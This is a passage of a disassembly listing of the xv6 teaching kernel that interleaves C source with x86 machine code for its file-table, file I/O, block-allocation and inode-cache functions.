curproc->tf->esp = sp;
80100cff: 8b 47 18 mov 0x18(%edi),%eax
80100d02: 89 58 44 mov %ebx,0x44(%eax)
switchuvm(curproc);
80100d05: 89 3c 24 mov %edi,(%esp)
80100d08: e8 83 59 00 00 call 80106690 <switchuvm>
freevm(oldpgdir);
80100d0d: 89 34 24 mov %esi,(%esp)
80100d10: e8 db 5c 00 00 call 801069f0 <freevm>
return 0;
80100d15: 31 c0 xor %eax,%eax
80100d17: e9 f6 fc ff ff jmp 80100a12 <exec+0x72>
sp = STACKTOP;
80100d1c: bb fc ff ff 7f mov $0x7ffffffc,%ebx
for(argc = 0; argv[argc]; argc++) {
80100d21: 31 d2 xor %edx,%edx
80100d23: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx
80100d29: e9 0f ff ff ff jmp 80100c3d <exec+0x29d>
80100d2e: 66 90 xchg %ax,%ax
80100d30 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d30: 55 push %ebp
80100d31: 89 e5 mov %esp,%ebp
80100d33: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100d36: c7 44 24 04 cd 6e 10 movl $0x80106ecd,0x4(%esp)
80100d3d: 80
80100d3e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d45: e8 f6 32 00 00 call 80104040 <initlock>
}
80100d4a: c9 leave
80100d4b: c3 ret
80100d4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100d50 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d50: 55 push %ebp
80100d51: 89 e5 mov %esp,%ebp
80100d53: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d54: bb f4 ff 10 80 mov $0x8010fff4,%ebx
{
80100d59: 83 ec 14 sub $0x14,%esp
acquire(&ftable.lock);
80100d5c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d63: e8 c8 33 00 00 call 80104130 <acquire>
80100d68: eb 11 jmp 80100d7b <filealloc+0x2b>
80100d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d70: 83 c3 18 add $0x18,%ebx
80100d73: 81 fb 54 09 11 80 cmp $0x80110954,%ebx
80100d79: 74 25 je 80100da0 <filealloc+0x50>
if(f->ref == 0){
80100d7b: 8b 43 04 mov 0x4(%ebx),%eax
80100d7e: 85 c0 test %eax,%eax
80100d80: 75 ee jne 80100d70 <filealloc+0x20>
f->ref = 1;
release(&ftable.lock);
80100d82: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
f->ref = 1;
80100d89: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100d90: e8 8b 34 00 00 call 80104220 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100d95: 83 c4 14 add $0x14,%esp
return f;
80100d98: 89 d8 mov %ebx,%eax
}
80100d9a: 5b pop %ebx
80100d9b: 5d pop %ebp
80100d9c: c3 ret
80100d9d: 8d 76 00 lea 0x0(%esi),%esi
release(&ftable.lock);
80100da0: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100da7: e8 74 34 00 00 call 80104220 <release>
}
80100dac: 83 c4 14 add $0x14,%esp
return 0;
80100daf: 31 c0 xor %eax,%eax
}
80100db1: 5b pop %ebx
80100db2: 5d pop %ebp
80100db3: c3 ret
80100db4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100dba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100dc0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100dc0: 55 push %ebp
80100dc1: 89 e5 mov %esp,%ebp
80100dc3: 53 push %ebx
80100dc4: 83 ec 14 sub $0x14,%esp
80100dc7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dca: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100dd1: e8 5a 33 00 00 call 80104130 <acquire>
if(f->ref < 1)
80100dd6: 8b 43 04 mov 0x4(%ebx),%eax
80100dd9: 85 c0 test %eax,%eax
80100ddb: 7e 1a jle 80100df7 <filedup+0x37>
panic("filedup");
f->ref++;
80100ddd: 83 c0 01 add $0x1,%eax
80100de0: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100de3: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100dea: e8 31 34 00 00 call 80104220 <release>
return f;
}
80100def: 83 c4 14 add $0x14,%esp
80100df2: 89 d8 mov %ebx,%eax
80100df4: 5b pop %ebx
80100df5: 5d pop %ebp
80100df6: c3 ret
panic("filedup");
80100df7: c7 04 24 d4 6e 10 80 movl $0x80106ed4,(%esp)
80100dfe: e8 5d f5 ff ff call 80100360 <panic>
80100e03: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e10 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e10: 55 push %ebp
80100e11: 89 e5 mov %esp,%ebp
80100e13: 57 push %edi
80100e14: 56 push %esi
80100e15: 53 push %ebx
80100e16: 83 ec 1c sub $0x1c,%esp
80100e19: 8b 7d 08 mov 0x8(%ebp),%edi
struct file ff;
acquire(&ftable.lock);
80100e1c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100e23: e8 08 33 00 00 call 80104130 <acquire>
if(f->ref < 1)
80100e28: 8b 57 04 mov 0x4(%edi),%edx
80100e2b: 85 d2 test %edx,%edx
80100e2d: 0f 8e 89 00 00 00 jle 80100ebc <fileclose+0xac>
panic("fileclose");
if(--f->ref > 0){
80100e33: 83 ea 01 sub $0x1,%edx
80100e36: 85 d2 test %edx,%edx
80100e38: 89 57 04 mov %edx,0x4(%edi)
80100e3b: 74 13 je 80100e50 <fileclose+0x40>
release(&ftable.lock);
80100e3d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e44: 83 c4 1c add $0x1c,%esp
80100e47: 5b pop %ebx
80100e48: 5e pop %esi
80100e49: 5f pop %edi
80100e4a: 5d pop %ebp
release(&ftable.lock);
80100e4b: e9 d0 33 00 00 jmp 80104220 <release>
ff = *f;
80100e50: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e54: 8b 37 mov (%edi),%esi
80100e56: 8b 5f 0c mov 0xc(%edi),%ebx
f->type = FD_NONE;
80100e59: c7 07 00 00 00 00 movl $0x0,(%edi)
ff = *f;
80100e5f: 88 45 e7 mov %al,-0x19(%ebp)
80100e62: 8b 47 10 mov 0x10(%edi),%eax
release(&ftable.lock);
80100e65: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
ff = *f;
80100e6c: 89 45 e0 mov %eax,-0x20(%ebp)
release(&ftable.lock);
80100e6f: e8 ac 33 00 00 call 80104220 <release>
if(ff.type == FD_PIPE)
80100e74: 83 fe 01 cmp $0x1,%esi
80100e77: 74 0f je 80100e88 <fileclose+0x78>
else if(ff.type == FD_INODE){
80100e79: 83 fe 02 cmp $0x2,%esi
80100e7c: 74 22 je 80100ea0 <fileclose+0x90>
}
80100e7e: 83 c4 1c add $0x1c,%esp
80100e81: 5b pop %ebx
80100e82: 5e pop %esi
80100e83: 5f pop %edi
80100e84: 5d pop %ebp
80100e85: c3 ret
80100e86: 66 90 xchg %ax,%ax
pipeclose(ff.pipe, ff.writable);
80100e88: 0f be 75 e7 movsbl -0x19(%ebp),%esi
80100e8c: 89 1c 24 mov %ebx,(%esp)
80100e8f: 89 74 24 04 mov %esi,0x4(%esp)
80100e93: e8 b8 23 00 00 call 80103250 <pipeclose>
80100e98: eb e4 jmp 80100e7e <fileclose+0x6e>
80100e9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
begin_op();
80100ea0: e8 5b 1c 00 00 call 80102b00 <begin_op>
iput(ff.ip);
80100ea5: 8b 45 e0 mov -0x20(%ebp),%eax
80100ea8: 89 04 24 mov %eax,(%esp)
80100eab: e8 10 09 00 00 call 801017c0 <iput>
}
80100eb0: 83 c4 1c add $0x1c,%esp
80100eb3: 5b pop %ebx
80100eb4: 5e pop %esi
80100eb5: 5f pop %edi
80100eb6: 5d pop %ebp
end_op();
80100eb7: e9 b4 1c 00 00 jmp 80102b70 <end_op>
panic("fileclose");
80100ebc: c7 04 24 dc 6e 10 80 movl $0x80106edc,(%esp)
80100ec3: e8 98 f4 ff ff call 80100360 <panic>
80100ec8: 90 nop
80100ec9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100ed0 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100ed0: 55 push %ebp
80100ed1: 89 e5 mov %esp,%ebp
80100ed3: 53 push %ebx
80100ed4: 83 ec 14 sub $0x14,%esp
80100ed7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100eda: 83 3b 02 cmpl $0x2,(%ebx)
80100edd: 75 31 jne 80100f10 <filestat+0x40>
ilock(f->ip);
80100edf: 8b 43 10 mov 0x10(%ebx),%eax
80100ee2: 89 04 24 mov %eax,(%esp)
80100ee5: e8 b6 07 00 00 call 801016a0 <ilock>
stati(f->ip, st);
80100eea: 8b 45 0c mov 0xc(%ebp),%eax
80100eed: 89 44 24 04 mov %eax,0x4(%esp)
80100ef1: 8b 43 10 mov 0x10(%ebx),%eax
80100ef4: 89 04 24 mov %eax,(%esp)
80100ef7: e8 24 0a 00 00 call 80101920 <stati>
iunlock(f->ip);
80100efc: 8b 43 10 mov 0x10(%ebx),%eax
80100eff: 89 04 24 mov %eax,(%esp)
80100f02: e8 79 08 00 00 call 80101780 <iunlock>
return 0;
}
return -1;
}
80100f07: 83 c4 14 add $0x14,%esp
return 0;
80100f0a: 31 c0 xor %eax,%eax
}
80100f0c: 5b pop %ebx
80100f0d: 5d pop %ebp
80100f0e: c3 ret
80100f0f: 90 nop
80100f10: 83 c4 14 add $0x14,%esp
return -1;
80100f13: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f18: 5b pop %ebx
80100f19: 5d pop %ebp
80100f1a: c3 ret
80100f1b: 90 nop
80100f1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f20 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f20: 55 push %ebp
80100f21: 89 e5 mov %esp,%ebp
80100f23: 57 push %edi
80100f24: 56 push %esi
80100f25: 53 push %ebx
80100f26: 83 ec 1c sub $0x1c,%esp
80100f29: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f2c: 8b 75 0c mov 0xc(%ebp),%esi
80100f2f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f32: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f36: 74 68 je 80100fa0 <fileread+0x80>
return -1;
if(f->type == FD_PIPE)
80100f38: 8b 03 mov (%ebx),%eax
80100f3a: 83 f8 01 cmp $0x1,%eax
80100f3d: 74 49 je 80100f88 <fileread+0x68>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f3f: 83 f8 02 cmp $0x2,%eax
80100f42: 75 63 jne 80100fa7 <fileread+0x87>
ilock(f->ip);
80100f44: 8b 43 10 mov 0x10(%ebx),%eax
80100f47: 89 04 24 mov %eax,(%esp)
80100f4a: e8 51 07 00 00 call 801016a0 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f4f: 89 7c 24 0c mov %edi,0xc(%esp)
80100f53: 8b 43 14 mov 0x14(%ebx),%eax
80100f56: 89 74 24 04 mov %esi,0x4(%esp)
80100f5a: 89 44 24 08 mov %eax,0x8(%esp)
80100f5e: 8b 43 10 mov 0x10(%ebx),%eax
80100f61: 89 04 24 mov %eax,(%esp)
80100f64: e8 e7 09 00 00 call 80101950 <readi>
80100f69: 85 c0 test %eax,%eax
80100f6b: 89 c6 mov %eax,%esi
80100f6d: 7e 03 jle 80100f72 <fileread+0x52>
f->off += r;
80100f6f: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100f72: 8b 43 10 mov 0x10(%ebx),%eax
80100f75: 89 04 24 mov %eax,(%esp)
80100f78: e8 03 08 00 00 call 80101780 <iunlock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f7d: 89 f0 mov %esi,%eax
return r;
}
panic("fileread");
}
80100f7f: 83 c4 1c add $0x1c,%esp
80100f82: 5b pop %ebx
80100f83: 5e pop %esi
80100f84: 5f pop %edi
80100f85: 5d pop %ebp
80100f86: c3 ret
80100f87: 90 nop
return piperead(f->pipe, addr, n);
80100f88: 8b 43 0c mov 0xc(%ebx),%eax
80100f8b: 89 45 08 mov %eax,0x8(%ebp)
}
80100f8e: 83 c4 1c add $0x1c,%esp
80100f91: 5b pop %ebx
80100f92: 5e pop %esi
80100f93: 5f pop %edi
80100f94: 5d pop %ebp
return piperead(f->pipe, addr, n);
80100f95: e9 36 24 00 00 jmp 801033d0 <piperead>
80100f9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80100fa0: b8 ff ff ff ff mov $0xffffffff,%eax
80100fa5: eb d8 jmp 80100f7f <fileread+0x5f>
panic("fileread");
80100fa7: c7 04 24 e6 6e 10 80 movl $0x80106ee6,(%esp)
80100fae: e8 ad f3 ff ff call 80100360 <panic>
80100fb3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100fc0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fc0: 55 push %ebp
80100fc1: 89 e5 mov %esp,%ebp
80100fc3: 57 push %edi
80100fc4: 56 push %esi
80100fc5: 53 push %ebx
80100fc6: 83 ec 2c sub $0x2c,%esp
80100fc9: 8b 45 0c mov 0xc(%ebp),%eax
80100fcc: 8b 7d 08 mov 0x8(%ebp),%edi
80100fcf: 89 45 dc mov %eax,-0x24(%ebp)
80100fd2: 8b 45 10 mov 0x10(%ebp),%eax
int r;
if(f->writable == 0)
80100fd5: 80 7f 09 00 cmpb $0x0,0x9(%edi)
{
80100fd9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(f->writable == 0)
80100fdc: 0f 84 ae 00 00 00 je 80101090 <filewrite+0xd0>
return -1;
if(f->type == FD_PIPE)
80100fe2: 8b 07 mov (%edi),%eax
80100fe4: 83 f8 01 cmp $0x1,%eax
80100fe7: 0f 84 c2 00 00 00 je 801010af <filewrite+0xef>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
80100fed: 83 f8 02 cmp $0x2,%eax
80100ff0: 0f 85 d7 00 00 00 jne 801010cd <filewrite+0x10d>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80100ff6: 8b 45 e4 mov -0x1c(%ebp),%eax
80100ff9: 31 db xor %ebx,%ebx
80100ffb: 85 c0 test %eax,%eax
80100ffd: 7f 31 jg 80101030 <filewrite+0x70>
80100fff: e9 9c 00 00 00 jmp 801010a0 <filewrite+0xe0>
80101004: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
iunlock(f->ip);
80101008: 8b 4f 10 mov 0x10(%edi),%ecx
f->off += r;
8010100b: 01 47 14 add %eax,0x14(%edi)
8010100e: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101011: 89 0c 24 mov %ecx,(%esp)
80101014: e8 67 07 00 00 call 80101780 <iunlock>
end_op();
80101019: e8 52 1b 00 00 call 80102b70 <end_op>
8010101e: 8b 45 e0 mov -0x20(%ebp),%eax
if(r < 0)
break;
if(r != n1)
80101021: 39 f0 cmp %esi,%eax
80101023: 0f 85 98 00 00 00 jne 801010c1 <filewrite+0x101>
panic("short filewrite");
i += r;
80101029: 01 c3 add %eax,%ebx
while(i < n){
8010102b: 39 5d e4 cmp %ebx,-0x1c(%ebp)
8010102e: 7e 70 jle 801010a0 <filewrite+0xe0>
int n1 = n - i;
80101030: 8b 75 e4 mov -0x1c(%ebp),%esi
80101033: b8 00 1a 00 00 mov $0x1a00,%eax
80101038: 29 de sub %ebx,%esi
8010103a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi
80101040: 0f 4f f0 cmovg %eax,%esi
begin_op();
80101043: e8 b8 1a 00 00 call 80102b00 <begin_op>
ilock(f->ip);
80101048: 8b 47 10 mov 0x10(%edi),%eax
8010104b: 89 04 24 mov %eax,(%esp)
8010104e: e8 4d 06 00 00 call 801016a0 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101053: 89 74 24 0c mov %esi,0xc(%esp)
80101057: 8b 47 14 mov 0x14(%edi),%eax
8010105a: 89 44 24 08 mov %eax,0x8(%esp)
8010105e: 8b 45 dc mov -0x24(%ebp),%eax
80101061: 01 d8 add %ebx,%eax
80101063: 89 44 24 04 mov %eax,0x4(%esp)
80101067: 8b 47 10 mov 0x10(%edi),%eax
8010106a: 89 04 24 mov %eax,(%esp)
8010106d: e8 de 09 00 00 call 80101a50 <writei>
80101072: 85 c0 test %eax,%eax
80101074: 7f 92 jg 80101008 <filewrite+0x48>
iunlock(f->ip);
80101076: 8b 4f 10 mov 0x10(%edi),%ecx
80101079: 89 45 e0 mov %eax,-0x20(%ebp)
8010107c: 89 0c 24 mov %ecx,(%esp)
8010107f: e8 fc 06 00 00 call 80101780 <iunlock>
end_op();
80101084: e8 e7 1a 00 00 call 80102b70 <end_op>
if(r < 0)
80101089: 8b 45 e0 mov -0x20(%ebp),%eax
8010108c: 85 c0 test %eax,%eax
8010108e: 74 91 je 80101021 <filewrite+0x61>
}
return i == n ? n : -1;
}
panic("filewrite");
}
80101090: 83 c4 2c add $0x2c,%esp
return -1;
80101093: b8 ff ff ff ff mov $0xffffffff,%eax
}
80101098: 5b pop %ebx
80101099: 5e pop %esi
8010109a: 5f pop %edi
8010109b: 5d pop %ebp
8010109c: c3 ret
8010109d: 8d 76 00 lea 0x0(%esi),%esi
return i == n ? n : -1;
801010a0: 3b 5d e4 cmp -0x1c(%ebp),%ebx
801010a3: 89 d8 mov %ebx,%eax
801010a5: 75 e9 jne 80101090 <filewrite+0xd0>
}
801010a7: 83 c4 2c add $0x2c,%esp
801010aa: 5b pop %ebx
801010ab: 5e pop %esi
801010ac: 5f pop %edi
801010ad: 5d pop %ebp
801010ae: c3 ret
return pipewrite(f->pipe, addr, n);
801010af: 8b 47 0c mov 0xc(%edi),%eax
801010b2: 89 45 08 mov %eax,0x8(%ebp)
}
801010b5: 83 c4 2c add $0x2c,%esp
801010b8: 5b pop %ebx
801010b9: 5e pop %esi
801010ba: 5f pop %edi
801010bb: 5d pop %ebp
return pipewrite(f->pipe, addr, n);
801010bc: e9 1f 22 00 00 jmp 801032e0 <pipewrite>
panic("short filewrite");
801010c1: c7 04 24 ef 6e 10 80 movl $0x80106eef,(%esp)
801010c8: e8 93 f2 ff ff call 80100360 <panic>
panic("filewrite");
801010cd: c7 04 24 f5 6e 10 80 movl $0x80106ef5,(%esp)
801010d4: e8 87 f2 ff ff call 80100360 <panic>
801010d9: 66 90 xchg %ax,%ax
801010db: 66 90 xchg %ax,%ax
801010dd: 66 90 xchg %ax,%ax
801010df: 90 nop
801010e0 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
801010e0: 55 push %ebp
801010e1: 89 e5 mov %esp,%ebp
801010e3: 57 push %edi
801010e4: 56 push %esi
801010e5: 53 push %ebx
801010e6: 83 ec 2c sub $0x2c,%esp
801010e9: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801010ec: a1 c0 09 11 80 mov 0x801109c0,%eax
801010f1: 85 c0 test %eax,%eax
801010f3: 0f 84 8c 00 00 00 je 80101185 <balloc+0xa5>
801010f9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101100: 8b 75 dc mov -0x24(%ebp),%esi
80101103: 89 f0 mov %esi,%eax
80101105: c1 f8 0c sar $0xc,%eax
80101108: 03 05 d8 09 11 80 add 0x801109d8,%eax
8010110e: 89 44 24 04 mov %eax,0x4(%esp)
80101112: 8b 45 d8 mov -0x28(%ebp),%eax
80101115: 89 04 24 mov %eax,(%esp)
80101118: e8 b3 ef ff ff call 801000d0 <bread>
8010111d: 89 45 e4 mov %eax,-0x1c(%ebp)
80101120: a1 c0 09 11 80 mov 0x801109c0,%eax
80101125: 89 45 e0 mov %eax,-0x20(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101128: 31 c0 xor %eax,%eax
8010112a: eb 33 jmp 8010115f <balloc+0x7f>
8010112c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101130: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101133: 89 c2 mov %eax,%edx
m = 1 << (bi % 8);
80101135: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101137: c1 fa 03 sar $0x3,%edx
m = 1 << (bi % 8);
8010113a: 83 e1 07 and $0x7,%ecx
8010113d: bf 01 00 00 00 mov $0x1,%edi
80101142: d3 e7 shl %cl,%edi
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101144: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx
m = 1 << (bi % 8);
80101149: 89 f9 mov %edi,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010114b: 0f b6 fb movzbl %bl,%edi
8010114e: 85 cf test %ecx,%edi
80101150: 74 46 je 80101198 <balloc+0xb8>
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101152: 83 c0 01 add $0x1,%eax
80101155: 83 c6 01 add $0x1,%esi
80101158: 3d 00 10 00 00 cmp $0x1000,%eax
8010115d: 74 05 je 80101164 <balloc+0x84>
8010115f: 3b 75 e0 cmp -0x20(%ebp),%esi
80101162: 72 cc jb 80101130 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
80101164: 8b 45 e4 mov -0x1c(%ebp),%eax
80101167: 89 04 24 mov %eax,(%esp)
8010116a: e8 71 f0 ff ff call 801001e0 <brelse>
for(b = 0; b < sb.size; b += BPB){
8010116f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101176: 8b 45 dc mov -0x24(%ebp),%eax
80101179: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax
8010117f: 0f 82 7b ff ff ff jb 80101100 <balloc+0x20>
}
panic("balloc: out of blocks");
80101185: c7 04 24 ff 6e 10 80 movl $0x80106eff,(%esp)
8010118c: e8 cf f1 ff ff call 80100360 <panic>
80101191: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bp->data[bi/8] |= m; // Mark block in use.
80101198: 09 d9 or %ebx,%ecx
8010119a: 8b 5d e4 mov -0x1c(%ebp),%ebx
8010119d: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1)
log_write(bp);
801011a1: 89 1c 24 mov %ebx,(%esp)
801011a4: e8 f7 1a 00 00 call 80102ca0 <log_write>
brelse(bp);
801011a9: 89 1c 24 mov %ebx,(%esp)
801011ac: e8 2f f0 ff ff call 801001e0 <brelse>
bp = bread(dev, bno);
801011b1: 8b 45 d8 mov -0x28(%ebp),%eax
801011b4: 89 74 24 04 mov %esi,0x4(%esp)
801011b8: 89 04 24 mov %eax,(%esp)
801011bb: e8 10 ef ff ff call 801000d0 <bread>
memset(bp->data, 0, BSIZE);
801011c0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801011c7: 00
801011c8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801011cf: 00
bp = bread(dev, bno);
801011d0: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
801011d2: 8d 40 5c lea 0x5c(%eax),%eax
801011d5: 89 04 24 mov %eax,(%esp)
801011d8: e8 93 30 00 00 call 80104270 <memset>
log_write(bp);
801011dd: 89 1c 24 mov %ebx,(%esp)
801011e0: e8 bb 1a 00 00 call 80102ca0 <log_write>
brelse(bp);
801011e5: 89 1c 24 mov %ebx,(%esp)
801011e8: e8 f3 ef ff ff call 801001e0 <brelse>
}
801011ed: 83 c4 2c add $0x2c,%esp
801011f0: 89 f0 mov %esi,%eax
801011f2: 5b pop %ebx
801011f3: 5e pop %esi
801011f4: 5f pop %edi
801011f5: 5d pop %ebp
801011f6: c3 ret
801011f7: 89 f6 mov %esi,%esi
801011f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101200 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101200: 55 push %ebp
80101201: 89 e5 mov %esp,%ebp
80101203: 57 push %edi
80101204: 89 c7 mov %eax,%edi
80101206: 56 push %esi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101207: 31 f6 xor %esi,%esi
{
80101209: 53 push %ebx
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010120a: bb 14 0a 11 80 mov $0x80110a14,%ebx
{
8010120f: 83 ec 1c sub $0x1c,%esp
acquire(&icache.lock);
80101212: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
{
80101219: 89 55 e4 mov %edx,-0x1c(%ebp)
acquire(&icache.lock);
8010121c: e8 0f 2f 00 00 call 80104130 <acquire>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101221: 8b 55 e4 mov -0x1c(%ebp),%edx
80101224: eb 14 jmp 8010123a <iget+0x3a>
80101226: 66 90 xchg %ax,%ax
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101228: 85 f6 test %esi,%esi
8010122a: 74 3c je 80101268 <iget+0x68>
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010122c: 81 c3 90 00 00 00 add $0x90,%ebx
80101232: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101238: 74 46 je 80101280 <iget+0x80>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010123a: 8b 4b 08 mov 0x8(%ebx),%ecx
8010123d: 85 c9 test %ecx,%ecx
8010123f: 7e e7 jle 80101228 <iget+0x28>
80101241: 39 3b cmp %edi,(%ebx)
80101243: 75 e3 jne 80101228 <iget+0x28>
80101245: 39 53 04 cmp %edx,0x4(%ebx)
80101248: 75 de jne 80101228 <iget+0x28>
ip->ref++;
8010124a: 83 c1 01 add $0x1,%ecx
return ip;
8010124d: 89 de mov %ebx,%esi
release(&icache.lock);
8010124f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
ip->ref++;
80101256: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
80101259: e8 c2 2f 00 00 call 80104220 <release>
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
return ip;
}
8010125e: 83 c4 1c add $0x1c,%esp
80101261: 89 f0 mov %esi,%eax
80101263: 5b pop %ebx
80101264: 5e pop %esi
80101265: 5f pop %edi
80101266: 5d pop %ebp
80101267: c3 ret
80101268: 85 c9 test %ecx,%ecx
8010126a: 0f 44 f3 cmove %ebx,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010126d: 81 c3 90 00 00 00 add $0x90,%ebx
80101273: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101279: 75 bf jne 8010123a <iget+0x3a>
8010127b: 90 nop
8010127c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0)
80101280: 85 f6 test %esi,%esi
80101282: 74 29 je 801012ad <iget+0xad>
ip->dev = dev;
80101284: 89 3e mov %edi,(%esi)
ip->inum = inum;
80101286: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
80101289: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
80101290: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
80101297: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010129e: e8 7d 2f 00 00 call 80104220 <release>
}
801012a3: 83 c4 1c add $0x1c,%esp
801012a6: 89 f0 mov %esi,%eax
801012a8: 5b pop %ebx
801012a9: 5e pop %esi
801012aa: 5f pop %edi
801012ab: 5d pop %ebp
801012ac: c3 ret
panic("iget: no inodes");
801012ad: c7 04 24 15 6f 10 80 movl $0x80106f15,(%esp)
801012b4: e8 a7 f0 ff ff call 80100360 <panic>
801012b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801012c0 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
801012c0: 55 push %ebp
801012c1: 89 e5 mov %esp,%ebp
801012c3: 57 push %edi
801012c4: 56 push %esi
801012c5: 53 push %ebx
801012c6: 89 c3 mov %eax,%ebx
